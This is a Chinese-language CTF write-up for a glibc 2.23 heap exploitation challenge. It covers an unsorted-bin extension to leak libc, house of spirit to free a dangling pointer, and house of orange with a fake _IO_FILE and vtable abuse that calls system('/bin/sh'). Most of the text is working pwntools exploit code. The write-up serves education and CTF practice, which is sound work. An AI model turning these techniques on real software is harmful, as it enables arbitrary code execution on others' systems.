0x00 前言

这道题做起来感觉局限性很大,不能自定义chunk的大小,只能分配0xD0和0x80的chunk;然后一共能用来放堆块的全局数组大小只有3。所以最后几乎是极限利用house of orange做出来的。所以,不知道是不是预期解。。。(按照我做pwn的魔咒估计又不是预期了2333

0x01 漏洞点

漏洞点有两处,一个是在申请普通pig时,有16字节的溢出

pigs[v1] = (char *)malloc((signed int)pig_size);
//...
puts("data:");
get_input(pigs[v1] + 16, pig_size);           // overflow

还有一个是可以直接修改fly pig后面的那个chunk

get_input(buf_0x70 + 0x80, 16);

因为刚好buf_0x70的chunk大小是0x80,所以这刚好可以写到下一个chunk的fd和bk

0x02 leak

首先是要leak,还是老思路,溢出转成UAF,这里可以用把unsorted bin延伸的思路。具体就是,把unsorted bin延伸到后面一个已经在使用的chunk,然后申请一个堆块,这个时候就可以通过show那个UAF的pig来实现fd的leak。

具体实现如下

create_pig(0, "A" * 0xB7 + "\n")
create_pig(1, "B" * 0xB7 + "\n")
create_pig(2, "\x00" + "C" * 0xB6 + "\n")
free_pig(0)
free_pig(1)

create_pig(0, "A" * 0xB8 + p64((0xD0 * 2) | 1)[:7] + "\n")
#extend unsorted bin chunk

create_pig(1, "\x00" * 0xB7 + "\n")
#此时idx为2的pig处于UAF状态,可以leak出fd

leak = print_pigs()[0xd0:0xd0+6]+"\x00\x00"
libc_addr = u64(leak) - UNSORTED_OFF
assert (libc_addr & 0xfff) == 0
print hex(libc_addr)

0x03 极限house of orange

思路

这题leak是比较简单的,难的是任意代码执行。这题明显不能fastbin attack,因为没法分配0x70的chunk。想了一下发现只能house of orange。但是house of orange需要溢出一整个_IO_FILE的数据,我们这边只能溢出16个字节,尤其是最关键的bk指针没法溢出到,怎么办?

一开始的思路是,构造两个0xD0和0x80的chunk,使他们可以溢出到同一个unsorted bin,这样两个pig“合作”,一个负责溢出prev_sizesize,一个负责写fdbk,然后_IO_FILE其他数据就预先放在这个chunk里面。

然而不行,构造不出这种情况。

那么换思路,我们真的需要溢出prev_sizesize么?前者可以用跟放_IO_FILE其他数据一样的思路预先放好,而size只要是0x61就行,而这是可以通过溢出unsorted bin chunk的大小构造出来的。

准备工作

首先是_IO_FILE的内容

fake_file = p64(0)
fake_file += p64(0x61)
fake_file += "\x00" * 0x10 # fd and bk
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(libc_addr + e.symbols["system"])

这里不是通过自己构造虚表,而是用了一个libc里面的虚表中一个函数,这个虚表在_IO_jump_t的后面,就在这个表偏前面的位置,有个函数,里面有个call [xxx+0xe8]这样的指令,很好找的。然后第一个参数刚好也用了结构体里面的一个数据,所以在那里放/bin/sh的地址即可,然后0xe8处放system的地址,即可实现system("/bin/sh")

这个利用方式比起自己构造虚表有一个好处,一是不用leak堆的地址,二是可以绕过2.24以上版本的一个security check。这题libc版本是2.23,所以用这个方法的原因是前者。

接着清理一下堆

free_pig(1)
free_pig(0)

#fake_file[0x20:0x50]
create_pig(0, "F" * 0xB7 + "\n")
free_pig(0)
#consume last chunk,
#last chunk won't be consolidated because pre_inuse of topchunk
#so do consolidation by ourselves
#now bins are empty, everything merged to top chunk
#donot use idx 2 now

这里有个有趣的现象,因为虽然我们延伸了unsorted bin chunk的大小,但是top chunk的prev_use仍然是1,所以在free 1和0 之后,前面的unsorted bin跟那个UAF的chunk并不会consolidate,所以后面要再create一下,拿到之前那个UAF的chunk,再free,就会全部consolidate成一个top chunk了。(除了0xB21处最开始分配的那个3616大小的chunk,然而我并不知道那是干嘛用的,大概那才是预期解?233)

house of spirit 解放idx 2

此时0和1是空的,2是一个野指针。然后接下来的利用,我一开始试着只用两个pigs来弄,发现怎么也弄不成功。所以务必解放idx为2的pig。然而他是个野指针,随便free可能会爆,怎么办?可以用house of spirit的思路,把他作为一个用不到的大小的fastbin chunk释放掉,比方说这题我就用了0x20。

create_fly_pig()
create_fly_pig()
create_fly_pig()

#topchunk fb0
#dangling pointer fe0
#0x30
create_pig(0, "PREVSIZE" + p64(0x21) + "A" * 0x18 + p64(0x1234))
free_pig(0)
#free 0 first to prevent fastbin consolidation
free_pig(2)
#house of spirit to make idx 2 available

#now bins only has 0x20 fastbin
#3 pigs are clear

这里要注意,必须要先free 0再free 2,不然会导致fastbin consolidate,这样会爆异常。

这个时候3个pigs又都可以用了,而且bins除了0x20 fastbin也都是空的,然而这个0x20根本不会被用上

house of orange花式利用

接着就是house of orange了,要构造一个0x61的chunk,同样用之前的思路,改写unsorted bin的大小。这个时候就要把unsorted bin大小改写成0x60+0x80,这样的话create一个flypig之后,刚好能剩下一个0x60的chunk。

当然,要预先在内存中放好_IO_FILE的关键数据,exp如下

create_pig(0, "F" * 0xB7 + "\n")
create_pig(1, "\x00" * 0x80 + fake_file[0x20:0x50] + "G" * 7 + "\n")
#\x00是因为_flags(prev_size)要是0
create_pig(2, fake_file[0x70:] + "\n")
create_fly_pig() #prevent topchunk consolidate

free_pig(0)
free_pig(1)
#now 0x1a1 unsorted bin

create_pig(0, "E" * 0xB8 + p64((0x60 + 0x80) | 1)[:7] + "\n")

create_fly_pig()

edit_fly_pig(p64(libc_addr + UNSORTED_OFF) + p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)[:7] + "\n")

sh.send("4\x00")
sh.recvuntil("secret:\n")
sh.send("UOTp%I<S\n")

sh.interactive()

至于这个“预先放好”的位置是如何确定的,大概就是不断地脑补+调试吧,有时候右脑不够用纸上画个图也能帮助思考。

有趣的是,好像在这个版本0x60+0x80=0xe0的unsorted bin chunk的后面并不用伪造next chunk的prev_sizesize,这个好像在后面libc的版本是有检查的。